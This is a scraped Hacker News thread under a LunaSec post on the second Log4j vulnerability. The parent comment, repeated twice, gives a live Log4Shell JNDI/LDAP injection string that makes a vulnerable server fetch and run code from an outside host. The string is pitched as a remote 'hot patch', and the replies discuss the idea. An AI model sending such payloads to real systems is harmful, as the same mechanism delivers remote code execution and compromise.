<story><title>Log4Shell update: second Log4j vulnerability published</title><url>https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/</url></story><parent_chain><item><author>freeqaz</author><text>We also wrote a Log4Shell payload that will in-memory &amp;quot;hot patch&amp;quot; your server against Log4Shell.&lt;p&gt;${jndi:ldap:&amp;#x2F;&amp;#x2F;hotpatch.log4shell.com:1389&amp;#x2F;a}&lt;p&gt;If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that&amp;#x27;ll patch you against this until you can manage to update properly.&lt;p&gt;Source code is on GitHub here[0][1] if you want to host it yourself.&lt;p&gt;(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don&amp;#x27;t have to muck with DNS and live server stuff.)&lt;p&gt;0: &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;releases&amp;#x2F;&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;releases&amp;#x2F;&lt;/a&gt;&lt;p&gt;1: (Go source code) &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;tree&amp;#x2F;master&amp;#x2F;tools&amp;#x2F;log4shell&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;tree&amp;#x2F;master&amp;#x2F;tools&amp;#x2F;log4...&lt;/a&gt;&lt;p&gt;2: &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;Cybereason&amp;#x2F;Logout4Shell&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;Cybereason&amp;#x2F;Logout4Shell&lt;/a&gt;</text></item></parent_chain><comment><author>freeqaz</author><text>We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell)&lt;p&gt;I&amp;#x27;ll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I&amp;#x27;m after some much needed sleep!&lt;p&gt;Good night, y&amp;#x27;all. :)&lt;p&gt;0: &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;www.lunasec.io&amp;#x2F;docs&amp;#x2F;blog&amp;#x2F;log4shell-live-patch&amp;#x2F;&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;www.lunasec.io&amp;#x2F;docs&amp;#x2F;blog&amp;#x2F;log4shell-live-patch&amp;#x2F;&lt;/a&gt;</text></comment>
<story><title>Log4Shell update: second Log4j vulnerability published</title><url>https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/</url></story><parent_chain><item><author>freeqaz</author><text>We also wrote a Log4Shell payload that will in-memory &amp;quot;hot patch&amp;quot; your server against Log4Shell.&lt;p&gt;${jndi:ldap:&amp;#x2F;&amp;#x2F;hotpatch.log4shell.com:1389&amp;#x2F;a}&lt;p&gt;If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that&amp;#x27;ll patch you against this until you can manage to update properly.&lt;p&gt;Source code is on GitHub here[0][1] if you want to host it yourself.&lt;p&gt;(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don&amp;#x27;t have to muck with DNS and live server stuff.)&lt;p&gt;0: &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;releases&amp;#x2F;&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;releases&amp;#x2F;&lt;/a&gt;&lt;p&gt;1: (Go source code) &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;tree&amp;#x2F;master&amp;#x2F;tools&amp;#x2F;log4shell&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;lunasec-io&amp;#x2F;lunasec&amp;#x2F;tree&amp;#x2F;master&amp;#x2F;tools&amp;#x2F;log4...&lt;/a&gt;&lt;p&gt;2: &lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;Cybereason&amp;#x2F;Logout4Shell&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;Cybereason&amp;#x2F;Logout4Shell&lt;/a&gt;</text></item></parent_chain><comment><author>eitland</author><text>Heh.&lt;p&gt;I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo.&lt;p&gt;I think it was HP who presented it and I also can&amp;#x27;t remember hearing about it since and I think there are good reasons for that[1].&lt;p&gt;In this case however the advantages might actually outweigh the risks as long as it is done carefully.&lt;p&gt;[1]: others mention services or servers that no one know how to restart anymore.</text></comment>